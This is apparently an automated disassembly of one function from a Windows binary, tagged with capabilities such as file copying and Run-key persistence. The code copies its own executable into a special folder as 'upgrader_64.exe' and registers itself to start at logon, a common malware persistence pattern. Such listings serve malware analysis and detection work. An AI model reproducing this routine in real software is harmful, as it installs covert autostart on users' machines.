Function at 0x14000aa60
Capabilities:
Copy file
Link many functions at runtime
Persist via run registry key

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xcf0
lea rax, str.upgrader_64.exe
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0xd08]
mov dword [rsp + 0xce0], eax
cmp dword [rsp + 0xce0], 0
je 0x14000aaa8
cmp dword [rsp + 0xce0], 1
je 0x14000abef
jmp 0x14000ae9a
mov dword [rsp + 0x470], 0
xor eax, eax
mov word [rsp + 0x480], ax
lea rax, [rsp + 0x482]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
xor eax, eax
mov word [rsp + 0x260], ax
lea rax, [rsp + 0x262]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x250], rax
lea rdx, str.SHGetSpecialFolderPathW
mov rcx, qword [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x290], rax
mov rax, qword [rsp + 0xd00]
cmp qword [rax + 0x290], 0
jne 0x14000ab41
xor eax, eax
jmp 0x14000ae9c
mov r9d, 1
mov r8d, 7
lea rdx, [rsp + 0x480]
xor ecx, ecx
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x290]
mov dword [rsp + 0x470], eax
cmp dword [rsp + 0x470], 0
jne 0x14000ab7d
xor eax, eax
jmp 0x14000ae9c
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r9, qword [rsp + 0x30]
lea r8, [rsp + 0x480]
lea rdx, str._s_s
lea rcx, [rsp + 0x260]
call qword [sym.imp.USER32.dll_wsprintfW]
xor r8d, r8d
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x470], eax
cmp dword [rsp + 0x470], 0
jne 0x14000abe0
xor eax, eax
jmp 0x14000ae9c
mov eax, 1
jmp 0x14000ae9c
lea rcx, [0x1400509b8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x240], rax
lea rdx, [0x1400509d8]
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rax + 0x240]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x250], rax
lea rdx, [0x1400509f0]
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rax + 0x240]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x268], rax
lea rdx, [0x140050a00]
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rax + 0x240]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x288], rax
lea rdx, [0x140050a10]
mov rax, qword [rsp + 0xd00]
mov rcx, qword [rax + 0x240]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xd00]
mov qword [rcx + 0x280], rax
mov rax, qword [rsp + 0xd00]
cmp qword [rax + 0x250], 0
je 0x14000acff
mov rax, qword [rsp + 0xd00]
cmp qword [rax + 0x268], 0
je 0x14000acff
mov rax, qword [rsp + 0xd00]
cmp qword [rax + 0x288], 0
je 0x14000acff
mov rax, qword [rsp + 0xd00]
cmp qword [rax + 0x280], 0
jne 0x14000ad06
xor eax, eax
jmp 0x14000ae9c
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x698], rax
lea rax, [rsp + 0x690]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rdx, qword [rsp + 0x698]
mov rcx, 0xffffffff80000001
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x268]
test eax, eax
jne 0x14000ae96
mov r8d, 0x104
lea rdx, [rsp + 0x8b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0x6a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov dword [rsp + 0xac0], 0x104
lea rcx, [rsp + 0x8b0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x690]
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x288]
test eax, eax
jne 0x14000ae7a
xor eax, eax
mov word [rsp + 0xad0], ax
lea rax, [rsp + 0xad2]
mov rdi, rax
xor eax, eax
mov ecx, 0x206
rep stosb byte [rdi], al
mov dword [rsp + 0xac4], 0x208
lea rax, [rsp + 0xac4]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xad0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x690]
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x250]
test eax, eax
jne 0x14000ae5e
mov rcx, qword [rsp + 0x690]
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x280]
mov eax, 1
jmp 0x14000ae9c
mov rcx, qword [rsp + 0x690]
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x280]
xor eax, eax
jmp 0x14000ae9c
mov rcx, qword [rsp + 0x690]
mov rax, qword [rsp + 0xd00]
call qword [rax + 0x280]
xor eax, eax
jmp 0x14000ae9c
xor eax, eax
jmp 0x14000ae9c
xor eax, eax
add rsp, 0xcf0
pop rdi
ret